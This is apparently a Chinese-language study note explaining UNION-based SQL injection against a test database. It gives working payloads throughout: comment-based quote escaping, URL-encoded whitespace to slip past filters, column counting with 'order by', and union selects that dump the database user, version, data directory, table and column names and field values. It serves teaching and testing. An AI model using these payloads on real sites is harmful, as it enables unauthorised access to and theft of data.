- 本篇主要总结了下联合注入的原理,并且结合数据库证明这些原理,联合注入主要是靠union实现,union的功能是将右边的查询结果和左边的查询结果合并,所以大部分操作都是通过union实现的。
- 首先列出测试用的表结构和数据
- 在参数后添加引号,尝试语法错误回显,并用and 1=1#或者and 1=1#测试报错
?id=1' and 1=1# 页面返回正常
?id=1' and 1=2# 页面返回不正常
这里#的意思是注释掉结尾的引号
因为注入后的语句可能是 select * from table where columns='1' and 1=1' 这结尾最后的引号是会报错的
但是如果加了#,后面的引号就会被注释掉,变成:
select * from table where columns='1' and 1=1 #'
同样的注释方法还可以用--代替#,不同的数据库有不同的注释字符:
select * from table where columns='1' and 1=1 --'
- 利用order by猜测字段的数量:order by后面加字段名或者列号,可以让查询结果以次字段排序
?id=1%27%20order%0aby%0c2%23 --返回正常
--上边用%0a和%0c的URL编码可以代替空格,到数据库后就是空格的意思
?id=1%27 order by 3# --返回正常
?id=1%27 order by 4# --返回正常
?id=1%27 order by 5# --返回错误
--这就证明字段总数为4,不存在第五列
在order by后面加入数字,可以代替字段名
比如order by column1 就可以用 order by 1代替
- 利用UNION联合查询,可以判断显示位置
?id=-1' union select 1,2,3#
id=-1 查询了一个不存在的列,返回结果为一个空值
union 右边查询的结果将会和左边的查询结果合并,重复的将会只显示一行
select 1,2,3 直接返回一行值,内容为1,2,3
- 假如SQL语句查询了所有字段,但是页面只是调用了其中几个字段的值
SELECT * FROM test2 where id=-1 UNION select 1,2,3;
这个时候,我们就可以在UNION的右边插入想测试的值,比如1,2,3,假如页面中只显示了1和3,说明1和3的位置是能显示的,可以调用类似database()的函数
利用联合查询输出数据库信息
id=-1%27 union select 1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version())#
user() --获取数据库用户名
database() --获取数据库名
version() --获取数据库版本信息
concat_ws(separator,str1,str2,...) --含有分隔符地连接字符串
--里边这的separator分隔符,用 char() 函数把 空格:空格 的ASCII码输出
--其它信息
@@datadir --数据库路径
@@version_compile_os --操作系统版本
- 利用联合查询查询数据库test的所有表名
id=-1%27 union select 1,2,table_name from information_schema.tables where table_schema='test' limit 0,1#
--information_schema.tables 从数据库information_schema中查询表tables,tables中存取了所有的表,并且这些表都有对应的数据库名,其中存储表名的字段名为table_name,存储
数据库名的字段名为table_schema
--table_schema=数据库名16进制或者用单引号括起来
--limit 0,1 查询结果中从第0个数据开始只读取一个数据
不断地改变limit的第一个参数,就能爆出所有的表
查询表test2的字段
id=-1%27 union select 1,2,column_name from information_schema.columns where table_schema='test' and table_name='test2' limit 0,1#
--information_schema.columns 从数据库information_schema中查询表columns,查询条件为数据库名table_schema和表名table_name,查询的值为字段名column_name
表columns中记录了所有的字段名
--limit 0,1 查询结果中从第0个数据开始只读取一个数据
- 爆出表test3的所有字段值
union select 1,2,group_concat(sex) from test3;
--用字段名sex从表中取数据
group_concat(str1,str2,...) --连接一个组的所有字符串